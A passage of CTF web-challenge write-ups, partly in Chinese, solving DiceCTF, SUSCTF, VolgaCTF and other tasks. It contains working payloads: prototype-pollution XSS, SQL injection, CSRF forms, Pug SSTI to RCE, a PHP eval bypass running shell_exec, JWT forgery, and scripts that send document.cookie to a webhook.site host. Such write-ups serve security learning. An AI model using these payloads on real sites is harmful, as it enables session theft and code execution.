    if(cookies['panelId'] && body['widgetName'] && body['widgetData']){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)`;
        db.run(query, [cookies['panelId'], body['widgetName'], body['widgetData']], (err) => {
            if(err){
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        console.log(cookies);
        console.log(body);
        res.send('something went wrong');
    }
});

app.post('/panel/widgets', (req, res) => {
    const cookies = req.cookies;

    if(cookies['panelId']){
        const panelId = cookies['panelId'];

        query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
        db.all(query, [panelId], (err, rows) => {
            if(!err){
                let panelWidgets = {};
                for(let row of rows){
                    try{
                        panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
                    }catch{
                        
                    }
                }
                res.json(panelWidgets);
            }else{
                res.send('something went wrong');
            }
        });
    }
});

It uses JSON.parse for widget data so when creating a new widget, the widget data should be JSON.stringify first.

We can utilize JS itself to help us generate the request body:

console.log(
  JSON.stringify({
    widgetName: 'constructor',
    widgetData: JSON.stringify({
      prototype: {
        onload: `alert(1)`
      }
     }) 
  })
)

result:

{
  "widgetName":"constructor",
  "widgetData":
    "{\"prototype\":{\"onload\":\"alert(1)\"}}"
}

So we can create a widget and perform XSS, cool! Let's try to create it and visit the page:

Oh no...I totally forgot CSP.

Round2: Bypass CSP

At first I was trying to bypass CSP and run inline script, but it seems it's a dead end.

Then I thought: "Maybe there is another way to run script without onload?", so I googled embedly prototype pollution and found this tweet:

https://twitter.com/k33r0k/status/1319411417745948673

The comment below is really helpful to me! Before that I only know I can set onload and perform XSS on embedly but I don't know why.

Now I know, it's via iframe attributes.

And we can use srcdoc as well, it's a good news!

So I tried couple of things like:

srcdoc="<img src=x onerror=alert(1)>"  
srcdoc="<script src=x></script>"

But none of them work because of CSP(sorry I am not familiar with CSP, I don't know it will be block as well)

I check the CSP carefully again, it's no way to run script:

default-src 'none';
script-src 'self' http://cdn.embedly.com/; 
style-src 'self' http://cdn.embedly.com/; 
connect-src 'self' https://www.reddit.com/comments/;

At that moment I was about to gave up, but I decided to take a shower first.

Taking a shower is a magical thing, it can remind you those small but important pieces.

Oh wait, what if I can get the flag without running JS?

I can reuse the payload for build a panel!

Because the source code is almost the same, the attack should still works!

The CSP allow self style so we can do this:

<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>

The browser will send request to the target url and it will create a new widget with flag as title, just like when I have done in build a panel.

Go get flag!

final payload:

console.log(
  JSON.stringify({
    widgetName: 'constructor',
    widgetData: JSON.stringify({
      prototype: {
        srcdoc: `<link rel=stylesheet href="https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1"></link>`
      }
     }) 
  }
  
{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<link rel=stylesheet href=\\\"https://build-a-better-panel.dicec.tf/admin/debug/add_widget?panelid=xof5566no1'%2C%20(select%20flag%20from%20flag%20limit%201)%2C%20'1')%3B--&widgetname=1&widgetdata=1\\\"></link>\"}}"}

We can then submit the designated panel to admin via debugid: https://build-a-better-panel.dicec.tf/create?debugid=311257212eefwef

Check the panel in the payload above, you can see the flag:

Awesome challenge! I learned a lot from it.

SUSCTF 2022 - web/fxxkcors

1

You can login with any username, and then there is a page to change permission: http://124.71.205.122:10002/change.php

The request looks like this, it's in JSON format:

POST /changeapi.php HTTP/1.1
Host: 124.71.205.122:10002
Content-Length: 19
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://124.71.205.122:10002
Referer: http://124.71.205.122:10002/change.php
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=1ab6387f551b235d26d1c88a3685d752
Connection: close

{"username":"huli"}

There is also a bot, you can send it any link so we can do CSRF here via <form> and enctype="text/plain", like this:

<body>
    <form id=a action="http://124.71.205.122:10002/changeapi.php" method="POST" enctype="text/plain">
      <input name='{"username":"fweewfwef", "abc":"' value='123"}'>
    </form>
    <script>
      a.submit()
    </script>
</body>

The form above will send request with body {"username":"fweewfwef", "abc":"=123"}, and content type text/plain. The server did not check the content type so it's fine.

After updating the permission, just visit home.php and get the flag.

0x41414141 CTF 2021 - hackme

題目限制是只能輸入 5 個字(含)以內的指令

因為是第一次看到這種類型的題目,所以試了很多指令想看有沒有什麼線索:

env
set
lsof
ps
ps ax
stat
wc /*
ps e

後來用這個關鍵字:command line length restriction ctf,找到了 hitcon2017 的類似題目文章:

  1. https://www.programmersought.com/article/94204188022/
  2. https://hack.more.systems/writeup/2017/11/06/hitconctf-babyfirstrevenge/
  3. https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge

原本想用 xxd 那個來解,還特別寫了一個腳本來轉換:

const axios = require('axios')

const command = 'cat /flag.txt'
const baseUrl = 'http://207.180.200.166:8000/?cmd='

function generateCommand(command) {
  return command.split('').map(char => char.charCodeAt(0).toString(16))
}

let hexs = generateCommand(command)
let groups = []
for(let i=0; i<hexs.length; i+=2) {
  groups.push(hexs[i] + (hexs[i+1] || ''))
}

let commands = groups.map(s => [
  '>' + s,
  'ls>>y',
  'rm ' + s[0] + '*'
])

commands.push([
  '>z',
  '>-p',
  '>-r',
  'xxd *',
  'sh z'
])

commands = commands.flat()

async function run() {
  for(let i=0; i<commands.length; i++) {
    console.log((i+1) + '/' + commands.length)
    console.log('command:' + commands[i])
    try {
      const response = await axios(baseUrl + encodeURIComponent(commands[i]))
      console.log('response:', response.data)
    } catch(err) {
      console.log('err', err.toString())
      return;
    }
  }
}

run()

但總之最後一步 xxd * 跑不過就是跑不過,local 可以但遠端不行,不確定是為什麼

之後照著前面幾篇的思路,我突然想到只要:

>cat
* /f*

就搞定了,根本不用弄那麼多招

再次覺得 bash 的指令跟 glob 真的很神奇,然後這題跟 web 其實沒什麼關係XD

話說這題學到了 * ? 這些 pattern 還有 nl 這指令其實也可以印內容,可以用 ls /usr/bin/?? 看有哪些兩個字的指令

DiceCTF 2021 - Build a Panel

It's a service for creating and viewing "panel" and "widget":

To be honest, when I was working on this chall, I didn't even check what type of widget we can create.

Because the first thing is always the same: check the source code if available:

/*
 *  @DICECTF 2021
 *  @AUTHOR Jim
 */

const admin_key = 'REDACTED'; // NOTE: The keys are not literally 'REDACTED', I've just taken them away from you :)
const secret_token = 'REDACTED'; 

const express = require('express');
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const sqlite3 = require('sqlite3');
const { v4: uuidv4 } = require('uuid');

const app = express();
const db = new sqlite3.Database('./db/widgets.db', (err) => {
    if(err){
        return console.log(err.message);
    }else{
        console.log('Connected to sql database');
    }
});

let query = `CREATE TABLE IF NOT EXISTS widgets (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    panelid TEXT,
    widgetname TEXT,
    widgetdata TEXT);`;
db.run(query);
query = `CREATE TABLE IF NOT EXISTS flag (
    flag TEXT
)`;
db.run(query, [], (err) => {
    if(!err){
        let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
        db.run(innerQuery);
    }else{
        console.error('Could not create flag table');
    }
});

app.use(express.static(__dirname + '/public'));
app.use(bodyParser.json());
app.use(cookieParser());
app.use(function(_req, res, next) {
    res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/;");
    res.setHeader("X-Frame-Options", "DENY");
    return next();
});
app.set('view engine', 'ejs');

app.get('/', (_req, res) => {
    res.render('pages/index');
});

app.get('/create', (req, res) => {
    const cookies = req.cookies;
    const queryParams = req.query;

    if(!cookies['panelId']){
        const newPanelId = queryParams['debugid'] || uuidv4();
    
        res.cookie('panelId', newPanelId, {maxage: 10800, httponly: true, sameSite: 'lax'});
    }

    res.redirect('/panel/');
});

app.get('/panel/', (req, res) => {
    const cookies = req.cookies;

    if(cookies['panelId']){
        res.render('pages/panel');
    }else{
        res.redirect('/');
    }
});

app.post('/panel/widgets', (req, res) => {
    const cookies = req.cookies;

    if(cookies['panelId']){
        const panelId = cookies['panelId'];

        query = `SELECT widgetname, widgetdata FROM widgets WHERE panelid = ?`;
        db.all(query, [panelId], (err, rows) => {
            if(!err){
                let panelWidgets = {};
                for(let row of rows){
                    try{
                        panelWidgets[row['widgetname']] = JSON.parse(row['widgetdata']);
                    }catch{
                        
                    }
                }
                res.json(panelWidgets);
            }else{
                res.send('something went wrong');
            }
        });
    }
});

app.get('/panel/edit', (_req, res) => {
    res.render('pages/edit');
});

app.post('/panel/add', (req, res) => {
    const cookies = req.cookies;
    const body = req.body;

    if(cookies['panelId'] && body['widgetName'] && body['widgetData']){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES (?, ?, ?)`;
        db.run(query, [cookies['panelId'], body['widgetName'], body['widgetData']], (err) => {
            if(err){
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        console.log(cookies);
        console.log(body);
        res.send('something went wrong');
    }
});

const availableWidgets = ['time', 'weather', 'welcome'];

app.get('/status/:widgetName', (req, res) => {
    const widgetName = req.params.widgetName;

    if(availableWidgets.includes(widgetName)){
        if(widgetName == 'time'){
            res.json({'data': 'now :)'});
        }else if(widgetName == 'weather'){
            res.json({'data': 'as you can see widgets are not fully functional just yet'});
        }else if(widgetName == 'welcome'){
            res.json({'data': 'No additional data here but feel free to add other widgets!'});
        }
    }else{
        res.json({'data': 'error! widget was not found'});
    }
});

// This function is for admin bot setup
app.get('/admin/generate/:secret_token', (req, res) => {
    if(req.params['secret_token'] == admin_key){
        res.cookie('token', secret_token, {maxage: 10800, httponly: true, sameSite: 'lax'});
    }

    res.redirect('/');
});

app.get('/admin/debug/add_widget', async (req, res) => {
    const cookies = req.cookies;
    const queryParams = req.query;

    if(cookies['token'] && cookies['token'] == secret_token){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
        db.run(query, (err) => {
            if(err){
                console.log(err);
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        res.redirect('/');
    }
});

app.listen(31337, () => {
    console.log('express listening on 31337')
});

The source code is quite long compare to other challs. But if you look carefully, you will find that only these two snippets are important:

query = `CREATE TABLE IF NOT EXISTS flag (
    flag TEXT
)`;
db.run(query, [], (err) => {
    if(!err){
        let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
        db.run(innerQuery);
    }else{
        console.error('Could not create flag table');
    }
});

app.get('/admin/debug/add_widget', async (req, res) => {
    const cookies = req.cookies;
    const queryParams = req.query;

    if(cookies['token'] && cookies['token'] == secret_token){
        query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
        db.run(query, (err) => {
            if(err){
                console.log(err);
                res.send('something went wrong');
            }else{
                res.send('success!');
            }
        });
    }else{
        res.redirect('/');
    }
});

We know two things from above:

  1. flag is in database
  2. /admin/debug/add_widget is vulnerable to sql injection

sub query is your good friend in this case, we can let our title become the flag:

uuid', (select flag from flag limit 1), '1');--

Full url: https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=1b3f6724-8a5f-4cad-b127-2a13e7847752', (select flag from flag limit 1), '1');--&widgetname=1&widgetdata=1

So we can create an widget with title as flag:

0x41414141 CTF 2021 - file reader

題目給了一個 python script:

import glob

blocked = ["/etc/passwd", "/flag.txt", "/proc/"]

def read_file(file_path):
    for i in blocked:
        if i in file_path:
                return "you aren't allowed to read that file"
    
    try:
        path = glob.glob(file_path)[0]
    except:
        return "file doesn't exist"
    
    return open(path, "r").read()

user_input = input("> ")
print(read_file(user_input))

寫過同比賽的 hackme 之後這題就秒解了:

/f*

DiceCTF 2021 - Babier CSP

The goal is to steal admin's cookie so we know it's something to do with XSS.

So all we need to do is generate a link with XSS and submit to admin bot.

source code:

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

If you look carefully, you should find that nonce won't changed after server started, so it's quite easy to bypass CSP.

https://babier-csp.dicec.tf/?name=
</h1><script nonce="LRGWAXOY98Es0zz0QOVmag==">
window.location = 
'https://webhook.site/b3d7bde5-a4c4-4794-a026-225bb6dec91d?c='%2bdocument.cookie
</script>

Then we can get a link from cookie: https://babier-csp.dicec.tf/4b36b1b8e47f761263796b1defd80745/

Follow the link we can get the flag:

BSides Ahmedabad CTF 2021 - pugpug

Description

Here is the beta access to a interactive learning tool of my course

螢幕快照 2021-11-07 上午9 12 53

Source code

// index.js

const express = require('express');
const deparam = require('jquery-deparam');
const {template} = require('./util.js');
const pug = require('pug');
const child_process = require('child_process');


const app = express()
const port = 3000

app.set('view engine', 'pug')
//Configure server-staus options here
options = {args:["-eo", "cpu,args"], options:{"timeout":500} }
//I don't trust these modules
Object.seal && [ Object, Array, String, Number ].map( function( builtin ) { Object.seal( builtin.prototype ); } )
//I believe in Defense in Depth and I don't trust the code I write, so here is my waf
app.use((req, res, next) => {
	inp = decodeURIComponent(req.originalUrl)
	const denylist = ["%","(","global", "process","mainModule","require","child_process","exec","\"","'","!","`",":","-","_"];
	for(i=0;i<denylist.length; i++){
		if(inp.includes(denylist[i])){
			return res.send('request is blocked');
		}
	}

	next();
  });
  

app.get('/',(req,res) =>{
	var basic = {
		title: "Pug 101",
		head: "Welcome to Pug 101",
		name: "Guest"
	}
	var input = deparam(req.originalUrl.slice(2));
	if(input.name)
		basic.name = input.name.Safetify()
	if(input.head)
	    basic.head = input.head.Safetify()
	var content = input.content? input.content.Safetify() : ''
	var pugtmpl = template.replace('OUT',content)
	const compiledFunction = pug.compile(pugtmpl)
	res.send(compiledFunction(basic));
});

app.get('/serverstatus', (req, res) => {
	const result = child_process.spawnSync('ps' , options.args, options.options);
	out = result.stdout.toString();
	res.send(out)
})

app.listen(port, () => {
  console.log('started')
})
// util.js
//Copied from https://github.com/Spacebrew/spacebrew/blob/1d8fb258c04cfe65728ce32e0b198032f384d9c3/admin/js/utils.js
//static regex and function to replace all non-alphanumeric characters
//in a string with their unicode decimal surrounded by hyphens
//and a regex/function pair to do the reverse
String.SafetifyRegExp = new RegExp("([^a-zA-Z0-9 \r\n])","gi");
String.UnsafetifyRegExp = new RegExp("-(.*?)-","gi");
String.SafetifyFunc = function(match, capture, index, full){
    //my pug hates these characters
	return "b nyan "+capture.charCodeAt(0);
};
String.UnsafetifyFunc = function(match, capture, index, full){
	return String.fromCharCode(capture);
};

//create a String prototype function so we can do this directly on each string as
//"my cool string".Safetify()
String.prototype.Safetify = function(){
	return this.replace(String.SafetifyRegExp, String.SafetifyFunc);
};
String.prototype.Unsafetify = function(){
	return this.replace(String.UnsafetifyRegExp, String.UnsafetifyFunc);
};

//global functions so we can call ['hello','there'].map(Safetify)
Safetify = function(s){
	return s.Safetify();
};
Unsafetify = function(s){
	return s.Unsafetify();
};


var template = `
doctype html
html
   head
      title #{title}
      link(rel="stylesheet" href="https://unpkg.com/@picocss/pico@latest/css/pico.min.css")
   body
      h1 #{head}, #{name}
      p You can learn about Pug interactively on my brand new site!
      p Note: The pug features are limited, for more pug features you have to subscribe to my course which will be released soon.
      
      form(action='/', method='GET')
        p
        | name:                 
        input( name='name', value='Guest') 
        br
        | content:    
        textarea( name='content') b hello world
        input(type='submit', value='Submit')
      br
      p Rendered Output:
      OUT`

module.exports = {
    template: template
}

Writeup

I checked package.json and found jquery-deparam, so I think it's a challenge about prototype pollution.

But, the prototype has been sealed via Objec.seal:

Object.seal && [ Object, Array, String, Number ].map( function( builtin ) { Object.seal( builtin.prototype ); } )

So, our target is not Object.prototype, is String.SafetifyRegExp. We can pollute String.SafetifyRegExp to bypass SafetifyFunc.

Like this:

?a[b]=c&a[b][constructor][SafetifyRegExp]=9
// "c".constructor is String
// so String.SafetifyRegExp = '9'

We can use any characters now, and then we can leverage pug.compile to do SSTI.

global is blocked but we can use this instead, process also blocked so we need to find another way, I found that we can use options.args:

b hello world #{this[options.args[1][1]+options.args[1][5]+options.args[0][2]+options.args[1][0]+options.args[0][1]+options.args[1][7]+options.args[1][7]].env.FLAG} 

What if we couldn't find all the characters in options.args? We can pollute another property as well:

http://localhost:3000/?a[b]=c&a[b][constructor][SafetifyRegExp]=9&b[constructor][prototype][valueOf]=proces

b #{this[options.valueOf+options.valueOf[5]].env.FLAG} 

Just modify optinos if you need a RCE:

http://localhost:3000/?
a[b]=c&a[b][constructor][SafetifyRegExp]=9&
b[constructor][prototype][valueOf]=;env;

b #{options.options.shell=true} #{options.args[0]=options.valueOf}

Then vist /serverstatus to see the result

螢幕快照 2021-11-07 上午9 12 31

BambooFox CTF 2021 - ヽ(#`Д´)ノ

這一題給的程式碼非常簡短:

 <?= 
 	highlight_file(__FILE__) &&
 	strlen($🐱=$_GET['ヽ(#`Д´)ノ'])<0x0A &&
 	!preg_match('/[a-z0-9`]/i',$🐱) &&
 	eval(print_r($🐱,1)); 

限制看起來很嚴格,長度最多只能到 9,而且還不能有任何英文數字。

之前有解過類似的需要用 xor 或是 not 來產生字元,然後再用 PHP 可以用字串 function 名稱執行函式的特性來執行,最後達成 RCE。

不過這題的長度限制是 9,再怎麼想都不可能,因為光是基本的一些字元就已經超過了。

所以這題換個角度想,可以用 array 來試試看,自己實際試過之後發現 array 確實可以繞過,前面兩個判斷都可以通過,那接下來的問題就是該怎麼讓:eval(print_r($🐱,1) 可以順利執行。

這邊我一開始的想法是讓 print_r 出來的東西變成合法的 php 程式碼,就可以成功執行了,於是我先用 print_r 出來的格式去跑 php,嘗試過底下這樣:

<?php
 $arr = array(
  [0] => 1
 );
 print_r($arr);
?>

執行之後會輸出:PHP Fatal error: Illegal offset type in /Users/li.hu/Documents/playground/php-test/er.php on line 3

看起來是 array 的 index 不能是陣列,不然就會出錯。原本想說那這條路應該行不通了,後來我想說:「那既然會出錯,有沒有可能在出錯之前先執行我想執行的函式?」,就嘗試了以下程式碼:

<?php
 $arr = array(
  [0] => system("ls")
 );
 print_r($arr);
?>

發現還真的印出結果了!而且原本的 fatal error 變成了 warning:Warning: Illegal offset type in /Users/huli/Documents/security/ais/php-challenge/b.php on line 3

我到現在還是不知道為什麼,但只要 value 的部分有 function call 就會這樣。

所以只要讓 print_r 產生出來的東西變成一段合法程式碼,就可以插入任意字元,後半段用 /* 註解掉就好,最後的解法長這樣:

abs(1)); echo shell_exec("cat /*"); /*

先用 abs(1) 把 fatal error 變 warning,然後執行想要的程式碼,最後用註解把後面跳掉,成功拿到 flag。

賽後去看其他人的解法,發現 query string 原來這麼神奇。我一直以為 query string 頂多就是傳 array,像是這樣:?a[]=1&a[]=2,但後來才發現原來[]裡面可以有東西,像這樣:?a[test]=1,在 PHP 裡面你就可以拿到:

Array
(
    [test] => 1
)

如果是這樣的話,就可以讓 key 是 /*,value 是 */]); echo 123;/*,組合起來就變成:

<?php
 Array(
  [/*] => "*/]); echo 123;/*"
 );
?>

就成功組出一段合法的 PHP 程式碼。

這一題學到最有價值的東西就是這個了,原來 query string 不只傳陣列,要傳物件也是可以的(至少 PHP 跟 express 都有支援,其他的我不確定)

VolgaCTF 2021 Qualifier - JWT

JWT

Description

螢幕快照 2021-03-28 下午11 38 56

Writeup

After register and login we will have a JWT, and we need to be admin to get the flag.

This is how JWT looks like:

螢幕快照 2021-03-28 下午11 40 40

At first, I found that I can replace jku to my own server, so I implemented a simple server to return the key. Unfortunately, it keeps return error which said that it can not find a suitable key. I stuck here for a long time and have no idea how to proceed.

Then, I noticed a very important part in the error message, part of jwk are included in the response. So I tried to change the JWT kid to another random string, here is the error message from server:

JWT processing failed. Additional details: [[17] Unable to process JOSE object (cause: org.jose4j.lang.UnresolvableKeyException: Unable to find a suitable verification key for JWS w/ header {"kid":"HS2561","alg":"HS256"} from JWKs [org.jose4j.jwk.OctetSequenceJsonWebKey{kty=oct, kid=HS256, alg=HS256}] obtained from http://localhost:8080/secret): JsonWebSignature{"kid":"HS2561","alg":"HS256"}->eyJraWQiOiJIUzI1NjEiLCJhbGciOiJIUzI1NiJ9.eyJqa3UiOiJodHRwOi8vbG9jYWxob3N0OjgwODAvc2VjcmV0IiwiZXhwIjoxNjE3NTMwOTkyLCJqdGkiOiJCREFjSTZ1V0p5X0tvdmhTWnN6WW5nIiwiaWF0IjoxNjE2OTI2MTkyLCJuYmYiOjE2MTY5MjYwNzIsInN1YiI6ImV3ZWlvZmpld29pZiJ9.G_4j1QH9RoiSkv59rmZz0gtNFKPath-Bi8J4_dQmevo]

Great! Now we know the kty is oct, no wonder kty=RSA keeps throw error.

Now we know the correct kty so we can create our own jwk server:

const express    = require('express')
const app = express()

app.get('/', (req, res) => {
  res.json({
    "kty": "oct",
    "kid": "HS256",
    "alg": "HS256",
    "k": "AyM1SysPpbyDfgZld3umj1qzKObwVMkoqQ-EstJQLr_T-1qS0gZH75aKtMN3Yj0iPS4hcgUuTwjAzZr1Z9CAow"
  })
})

app.listen(3000)

We can sign a new JWT with sub=admin by using this secret key, and get the flag.

reference:

  1. https://blog.pentesteracademy.com/hacking-jwt-tokens-jku-claim-misuse-2e732109ac1c
  2. https://tools.ietf.org/html/rfc7517#appendix-A.3

DiceCTF 2021 - Web IDE

It's like a Web IDE, you can write code on the UI and see the result:

Source code is available:

const express = require('express');
const crypto = require('crypto');
const app = express();

const adminPassword = crypto.randomBytes(16).toString('hex');

const bodyParser = require('body-parser');

app.use(require('cookie-parser')());

// don't let people iframe
app.use('/', (req, res, next) => {
  res.setHeader('X-Frame-Options', 'DENY');
  return next();
});

// sandbox the sandbox
app.use('/sandbox.html', (req, res, next) => {
  res.setHeader('Content-Security-Policy', 'frame-src \'none\'');
  // we have to allow this for obvious reasons
  res.removeHeader('X-Frame-Options');
  return next();
});

// serve static files
app.use(express.static('public/root'));
app.use('/login', express.static('public/login'));

// handle login endpoint
app.use('/ide/login', bodyParser.urlencoded({ extended: false }));

app.post('/ide/login', (req, res) => {
  const { user, password } = req.body;
  switch (user) {
  case 'guest':
    return res.cookie('token', 'guest', {
      path: '/ide',
      sameSite: 'none',
      secure: true
    }).redirect('/ide/');
  case 'admin':
    if (password === adminPassword)
      return res.cookie('token', `dice{${process.env.FLAG}}`, {
        path: '/ide',
        sameSite: 'none',
        secure: true
      }).redirect('/ide/');
    break;
  }
  res.status(401).end();
});

// handle file saving
app.use('/ide/save', bodyParser.raw({
  extended: false,
  limit: '32kb',
  type: 'application/javascript'
}));

const files = new Map();
app.post('/ide/save', (req, res) => {
  // only admins can save files
  if (req.cookies.token !== `dice{${process.env.FLAG}}`)
    return res.status(401).end();
  const data = req.body;
  const id = `${crypto.randomBytes(8).toString('hex')}.js`;
  files.set(id, data);
  res.type('text/plain').send(id).end();
});

app.get('/ide/saves/:id', (req, res) => {
  // only admins can view files
  if (req.cookies.token !== `dice{${process.env.FLAG}}`)
    return res.status(401).end();
  const data = files.get(req.params.id);
  if (!data) return res.status(404).end();
  res.type('application/javascript').send(data).end();
});

// serve static files at ide, but auth first
app.use('/ide', (req, res, next) => {
  switch (req.cookies.token) {
  case 'guest':
    return next();
  case `dice{${process.env.FLAG}}`:
    return next();
  default:
    return res.redirect('/login');
  }
});

app.use('/ide', express.static('public/ide'));

app.listen(3000);

The goal is to steal admin's cookie, so it's another XSS challenge!

First, we need to know how this web IDE works.

It's the ide html source code:

<!doctype html>
<html>
  <head>
    <title>Web IDE</title>
    <link rel="stylesheet" href="src/styles.css"/>
    <script src="src/index.js"></script>
  </head>
  <body>
    <div id="editor">
      <textarea>console.log('Hello World!');</textarea>
      <iframe src="../sandbox.html" frameborder="0" sandbox="allow-scripts"></iframe>
      <br />
      <button id="run">Run Code</button>
      <button id="save">Save Code (Admin Only)</button>
    </div>
  </body>
</html>

And src/index.js

(async () => {

  await new Promise((r) => { window.addEventListener(('load'), r); });

  document.getElementById('run').addEventListener('click', () => {
    document.querySelector('iframe')
      .contentWindow
      .postMessage(document.querySelector('textarea').value, '*');
  });

  document.getElementById('save').addEventListener('click', async () => {
    const response = await fetch('/ide/save', {
      method: 'POST',
      body: document.querySelector('textarea').value,
      headers: {
        'Content-Type': 'application/javascript'
      }
    });
    if (response.status === 200) {
      window.location = `/ide/saves/${await response.text()}`;
      return;
    }
    alert('You are not an admin.');
  });

})();

When user clicks "Run Code", it postMessage to the iframe sandbox.html, that's all.

Then, we need to check sandbox.html:

<!doctype html>
<html>
  <head>
    <script src="src/sandbox.js"></script>
    <link rel="stylesheet" href="src/styles.css"/>
  </head>
  <body id="sandbox">
  </body>
</html>

src/sandbox.js

(async () => {

  await new Promise((r) => { window.addEventListener(('load'), r); });

  const log = (data) => {
    const element = document.createElement('p');
    element.textContent = data.toString();
    document.querySelector('div').appendChild(element);
    window.scrollTo(0, document.body.scrollHeight);
  };

  const safeEval = (d) => (function (data) {
    with (new Proxy(window, {
      get: (t, p) => {
        if (p === 'console') return { log };
        if (p === 'eval') return window.eval;
        return undefined;
      }
    })) {
      eval(data);
    }
  }).call(Object.create(null), d);

  window.addEventListener('message', (event) => {
    const div = document.querySelector('div');
    if (div) document.body.removeChild(div);
    document.body.appendChild(document.createElement('div'));
    try {
      safeEval(event.data);
    } catch (e) {
      log(e);
    }
  });

})();

It listens to window.message event and pass the data to safeEval. It's wrapped in a Proxy so only window.console and window.eval are available.

We can see result at right side because it overrides console.log.

The first thing we need to bypass is the window proxy.

From what I know, there are couple of ways to execute arbitrary js:

  1. window.eval
  2. window.location + javascript pseudo protocol(javascript:)
  3. window.setTimeout and window.setInterval
  4. function constructor

We can choose the one without accessing window: function constructor!

([].map.constructor('alert(1)'))()

We can host our own html file and embed sandbox.html as iframe. Then we can post message to this iframe to do XSS.

<!DOCTYPE html>
<html>
<head>

</head>
<body>
    <iframe name="f" onload="run()" src="https://web-ide.dicec.tf/sandbox.html"></iframe>
    <script>
      function run() {
        window.frames.f.postMessage(`([].map.constructor('alert(1)'))()
        `, '*')
      }
    </script>
</body>

</html>

Replace alert(1) with alert(document.cookie), we can see the cookie:

Wait, where is the cookie?

I checked the source code again and found this:

app.post('/ide/login', (req, res) => {
  const { user, password } = req.body;
  switch (user) {
  case 'guest':
    return res.cookie('token', 'guest', {
      path: '/ide',
      sameSite: 'none',
      secure: true
    }).redirect('/ide/');
  case 'admin':
    if (password === adminPassword)
      return res.cookie('token', `dice{${process.env.FLAG}}`, {
        path: '/ide',
        sameSite: 'none',
        secure: true
      }).redirect('/ide/');
    break;
  }
  res.status(401).end();
});

The cookie has path: /ide but the path of sandbox.html is /, so we can't get cookie from /sandbox.html

I have tried couple of ways but none of them work, like:

  1. Change /sandbox.html to /ide/..%2fsandbox.html but script won't load
  2. Try to use iframe with src /ide but it fails because of X-Frame-Options
  3. Change location to /ide and alert document.cookie again

I also tried to google the keyword like: get subpath cookie ctf or get another path cookie but still can't find any useful resource.

Suddenly, I have an idea about window.open

The return value of the window.open is the window of the new tab. So if we can access this window object, maybe newWindow.document.cookie works?

So I tried this:

var w1 = window.open('https://web-ide.dicec.tf/ide')

// wait for window loaded
setTimeout(() => {
  alert(w1.document.cookie)
}, 2000)

To my surprise, it works!

I checked the mdn, it seems we can get window as long as it's same origin.

Combined with the function constructor, here is the final payload(I formatted it a bit for readability):

<!DOCTYPE html>
<html>
<head>

</head>
<body>
    <iframe name="f" onload="run()" src="https://web-ide.dicec.tf/sandbox.html"></iframe>
    <script>
      function run() {
        window.frames.f.postMessage(
          `([].map.constructor('
              var w1=window.open("https://web-ide.dicec.tf/ide");
              setTimeout(()=>{
                var c=document.createElement("img");
                c.src="https://webhook.site/b3d7bde5-a4c4-4794-a026-225bb6dec91d?c=1"+w1.document.cookie;
                document.body.appendChild(c)
              }, 2000)
            '))()`
          , '*'
        )
      }
    </script>
</body>

</html>

After host this file and send the link to admin bot, we can get the flag.

VolgaCTF 2021 Qualifier - Static Site

Static Site

Description

螢幕快照 2021-03-28 下午11 12 54

nginx config

server {
    listen 443 ssl;
    resolver 8.8.8.8;
    server_name static-site.volgactf-task.ru;

    ssl_certificate      /etc/letsencrypt/live/volgactf-task.ru/fullchain1.pem;
    ssl_certificate_key  /etc/letsencrypt/live/volgactf-task.ru/privkey1.pem;

    add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-src https://www.google.com/recaptcha/; font-src https://fonts.gstatic.com/; style-src 'self' https://fonts.googleapis.com/; script-src 'self' https://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/" always;
   
    location / {
      root /var/www/html;
    }

    location /static/ {
      proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
    }
}

index.html

<!doctype html>
<html lang="en">
